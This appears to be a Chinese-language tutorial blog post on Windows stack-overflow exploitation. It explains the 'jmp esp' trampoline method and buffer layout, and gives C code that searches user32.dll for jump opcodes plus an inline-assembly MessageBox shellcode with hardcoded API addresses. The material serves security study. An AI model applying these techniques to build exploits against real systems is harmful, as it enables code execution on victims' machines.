windows-shellcode开发

exploit:代码植入的漏洞利用过程
shellcode:实际攻击载荷(渗透中称payload)

定位shellcode

栈帧移位与jmp esp

在实际漏洞利用中,由于动态链接库的装入和卸载,Windows进程的函数帧很有可能会产生移位。

即shellcode在内存中的地址是会动态变化的。

用进程代码空间里一条jmp esp指令的地址覆盖函数返回地址。

函数返回后,先去执行跳转指令,之后才回到栈区。

重新布置shellcode的摆放位置后,可以准确的定位shellcode,适应栈区动态变化的要求。

(1) 用内存中的任意一条jmp esp指令的地址覆盖函数返回地址,而不是手工查出的shellcode起始地址直接覆盖

(2) 函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接执行shellcode

(3) 由于esp在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,

​ 处理器会到栈区函数返回地址之后的地方取指执行

(4) 重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。

​ 将缓冲区前面一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。

​ 这样,jmp esp指令执行过后会恰好跳进shellcode

这种定位shellcode的方法使用进程空间里的一条jmp esp指令作为”跳板”

不论栈帧怎么”移位”,都能够精确地跳回栈区

从而适应程序运行中shellcode内存地址的动态变化

获取跳板地址

除了PE文件的代码被读入内存空间,一些常被用到的动态链接库一会一同被映射到内存

例如,kernel32.dll,user32.dll 之类的会被几乎所有的进程加载,且加载基址始终相同。

所以这里使用user32.dll中的jmp esp作为跳板。

编程搜索内存,获取user32.dll的内存跳转指令地址

注意:jmp esp 的地址应该逆序写入 shellcode 如 0x77d29353 >> 53 93 d2 77

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll erro!\n");
exit(0);
}
ptr = (BYTE*)handle;

for(position=0;!done_flag;position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xffe4是jmp code的机器码
int address = (int)ptr + position;
printf("Opcode found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END of 0x%x\n",address);
done_flag = true;
}
}
}

这个程序从user32.dll在内存中的基址,开始向后搜索0xFFE4,如果找到就返回其内存地址(指针值)

OD插件OllyUni.dll

使用这个插件可以轻易获得整个进程空间中的各类跳转地址。

在代码框内右键使用这个插件,然后点击”L”查看日志文件。

使用”跳板”定位的exploit

写出新的可以正常退出的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <WINDOWS.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11]="user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm
{
sub sp,0x440
xor ebx,ebx
push ebx
push 0x30307972
push 0x746E6977 //push wintry00

mov eax,esp
push ebx
push eax
push eax
push ebx

mov eax,0x77D507EA
call eax //call MessageBoxA

push ebx
mov eax,0x7C81CAFA
call eax //call exit(0)

}

}

将vc6编译生成的exe放进OD取出需要的机器码

然后更新password.txt

jmp esp”跳板”前面填充任意数据,之后是新的shellcode

可完美弹出窗口并退出,没有报错

缓冲区的组成

选用jmp esp作为定位shellcode的跳板,在函数返回后要根据缓冲区的大小、所需shellcode长度灵活布置缓冲区

进入缓冲区的数据:

(1) 填充物:可为任意值,一般用90填充,并把shellcode布置于其后

​ 只要能跳进填充区,就能顺利执行shellcode

(2) 淹没返回地址的数据:”跳板”指令、shellcode起始地址、甚至近似shellcode的起始地址

(3) shellcode:可执行的机器代码。

开发通用的shellcode

自动获取API入口地址,用转义字符把机器码放在一个数组中。

都写到这了,查资料的时候看到brant-ruan大佬的一篇博客,总结的太好了,书上的图都重做了,很清晰

这篇文章包括了整个第三章的内容,传送门

大佬的博客里边还有其它Oday章节的总结